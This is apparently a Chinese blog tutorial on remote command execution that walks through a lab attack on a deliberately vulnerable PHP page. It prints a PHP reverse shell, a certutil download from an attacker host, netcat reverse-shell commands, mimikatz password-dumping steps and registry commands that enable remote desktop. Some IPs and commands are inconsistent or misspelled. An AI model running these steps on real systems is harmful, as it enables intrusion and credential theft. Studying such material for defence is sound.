RCE命令注入

学习参考链接:RCE(远程代码执行漏洞)原理及漏洞利用_rce漏洞原理_C1yas0的博客-CSDN博客

命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎

什么是RCE漏洞?

RCE漏洞,是指可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞也叫远程命令/代码执行漏洞

RCE命令分为远程执行命令(执行ping命令)和远程代码执行eval

RCE漏洞分类:

  • 命令注入
  • 文件包含
  • eval执行

RCE漏洞产生的原因:

 漏洞的起源是在开发的过程中带有输入-执行功能的系统时,由于输入过滤不严谨,导致的命令产生了注入。

windows系统命令拼接方式:

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

RCE漏洞复现:

1.复现环境

靶机               win11                          192.168.31.187

攻击机            win7                           192.168.160.135

get shell 机     kali2023                     192.168.160.133

2.漏洞复现

  • 靶机(192.168.31.187)创建1,php文件

<?php  
    header("Content-Type: text/html; charset=utf-8");
    error_reporting(0); //禁用错误报告  
    $a = $_GET["a"];
    system($a);
?> 

  •  攻击机(192.168.160.135)创建文件2.php

<?php
set_time_limit(0);
$ip="192.168.203.130";  #kali ip
$port=3939;
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){
    echo "error";
    }
else{
    fputs($fp,"\n++++++++++connect success++++++++\n");
    while (!feof($fp)) {
    fputs($fp,"shell:");//输出
    $shell=fgets($fp);
    $message=`$shell`;
    fputs($fp,$message);

    }
    fclose($fp);
}

?>

3.访问1.php文件

靶机(192.168.31.187)访问1.php文件,输入

http://192.168.31.187(靶机ip)/1.php?a=ipconfig

发现可以执行cmd命令

攻击机(192.168.160.135)也可以访问靶机(192.168.31.187)的1.php文件

4.漏洞利用

利用cmd命令远程下载1.txt文件

将攻击机(192.168.160.135)中的2.php文件上传

certutil -urlcache -split -f http://192.168.160.135(攻击机)/1.txt 2.php

攻击机(192.168.160.135)中访问:

在靶机(192.168.31.187)下的1.php查看上传的攻击机(192.168.160.135)中的2.php文件

http://192.168.31.187(靶机)/1.php?a=certutil -urlcahce -split -f http://192.168.160.135(攻击机)/1.txt 2.php

使用kali的nc监听3939端口

nc -lvvp 3939

攻击机(192.168.160.135)浏览器访问2.php文件

http://192.168.160.135/2.php

监听成功,成功get shell

当然,我们还可以上传mimikatz.exe文件来获取win7系统的所有账号密码

mimikatz.exe

privilege::debug

sekurlsa::logonpasswords

获取账号密码后,我们就可以开启远程连接服务了

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

如果开启不成功,则执行下面的命令

echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       

 net start termservice

然后再开启一次远程连接服务

最后使用主机快捷键win+s,搜索mstsc就可以打开Windows远程桌面连接了

nc反弹

向靶机(192.168.31.187)上传nc.exe文件

nc 192.168.31.187 -e C:\windows\system32\cmd.exe

kali监听

nc -lvvp 3939

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值